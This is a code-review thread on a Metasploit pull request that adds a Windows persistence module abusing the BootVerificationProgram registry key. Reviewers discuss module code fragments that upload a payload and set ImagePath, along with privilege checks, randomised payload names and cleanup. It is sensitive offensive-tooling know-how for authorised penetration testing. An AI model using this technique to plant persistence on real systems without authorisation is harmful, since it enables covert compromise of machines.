Add Windows Boot Verification Program persistence#21550
Conversation
Add a Windows persistence module leveraging the registry key BootVerificationProgram. The module uploads an executable and sets the 'ImagePath' value, allowing execution via the Service Control Manager early in the boot cycle.
| [ 'Automatic', {} ] | ||
| ], | ||
| 'References' => [ | ||
| ['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION], |
There was a problem hiding this comment.
| ['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION], | |
| ['ATT&CK', Mitre::Attack::Technique::T1547_BOOT_OR_LOGON_AUTOSTART_EXECUTION], | |
| ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION], |
| end | ||
|
|
||
| def check | ||
| return CheckCode::Unknown('Admin or SYSTEM privileges are required') unless is_system? || is_admin? |
There was a problem hiding this comment.
| return CheckCode::Unknown('Admin or SYSTEM privileges are required') unless is_system? || is_admin? | |
| return CheckCode::Safe('Admin or SYSTEM privileges are required') unless is_system? || is_admin? |
|
|
||
| def check | ||
| return CheckCode::Unknown('Admin or SYSTEM privileges are required') unless is_system? || is_admin? | ||
| return CheckCode::Unknown("Target directory #{writable_dir} does not exist") unless directory?(writable_dir) |
There was a problem hiding this comment.
| return CheckCode::Unknown("Target directory #{writable_dir} does not exist") unless directory?(writable_dir) | |
| print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value | |
| return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) |
this has been my boilerplate code block for checking
| end | ||
|
|
||
| def install_persistence | ||
| fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_system? || is_admin? |
There was a problem hiding this comment.
| fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_system? || is_admin? |
Autocheck is enabled, so no need to recheck this
| def install_persistence | ||
| fail_with(Failure::NoAccess, 'Admin or SYSTEM privileges are required') unless is_system? || is_admin? | ||
|
|
||
| payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8) |
There was a problem hiding this comment.
| payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8) | |
| payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) |
boilerplate, i like to add a little more randomness
| if registry_enumkeys(boot_reg_key).nil? | ||
| vprint_status('The BootVerificationProgram key was not found. Creating a new structure...') | ||
|
|
||
| unless registry_createkey(boot_reg_key) | ||
| rm_f(payload_pathname) | ||
| fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}") | ||
| end | ||
| else | ||
| vprint_good('The BootVerificationProgram key already exists. Skipping creation step.') | ||
| had_preexisting_boot_key = true | ||
| old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath') | ||
| end |
There was a problem hiding this comment.
fail_with will kill the module off, so i think this can be simplified down to:
| if registry_enumkeys(boot_reg_key).nil? | |
| vprint_status('The BootVerificationProgram key was not found. Creating a new structure...') | |
| unless registry_createkey(boot_reg_key) | |
| rm_f(payload_pathname) | |
| fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}") | |
| end | |
| else | |
| vprint_good('The BootVerificationProgram key already exists. Skipping creation step.') | |
| had_preexisting_boot_key = true | |
| old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath') | |
| end | |
| if registry_enumkeys(boot_reg_key).nil? | |
| vprint_status('The BootVerificationProgram key was not found. Creating a new structure...') | |
| unless registry_createkey(boot_reg_key) | |
| rm_f(payload_pathname) | |
| fail_with(Failure::UnexpectedReply, "Failed to create missing registry key: #{boot_reg_key}") | |
| end | |
| end | |
| vprint_good('The BootVerificationProgram key already exists. Skipping creation step.') | |
| had_preexisting_boot_key = true | |
| old_image_path = registry_getvaldata(boot_reg_key, 'ImagePath') |
There was a problem hiding this comment.
With this change, if the key doesn't initially exist, the module will create it and then it will set had_preexisting_boot_key = true. During cleanup, the module will then treat the key as if it was always there and leave it behind, rather than deleting the structure it created.
|
|
||
| This module establishes persistence by configuring the BootVerificationProgram | ||
| registry key. It uploads a payload executable and modifies the 'ImagePath' | ||
| value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram. |
There was a problem hiding this comment.
| value under HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram. | |
| value under `HKLM\SYSTEM\CurrentControlSet\Control\BootVerificationProgram`. |
| ## Vulnerable Application | ||
|
|
||
| This module establishes persistence by configuring the BootVerificationProgram | ||
| registry key. It uploads a payload executable and modifies the 'ImagePath' |
There was a problem hiding this comment.
| registry key. It uploads a payload executable and modifies the 'ImagePath' | |
| registry key. It uploads a payload executable and modifies the `ImagePath` |
Add a Windows persistence module leveraging the registry key BootVerificationProgram. The module uploads an executable and sets the 'ImagePath' value, allowing execution via the Service Control Manager early in the boot cycle.
Verification
List the steps needed to make sure this thing works
msfconsoleuse exploit/windows/persistence/boot_verification_programset SESSION [SESSION]run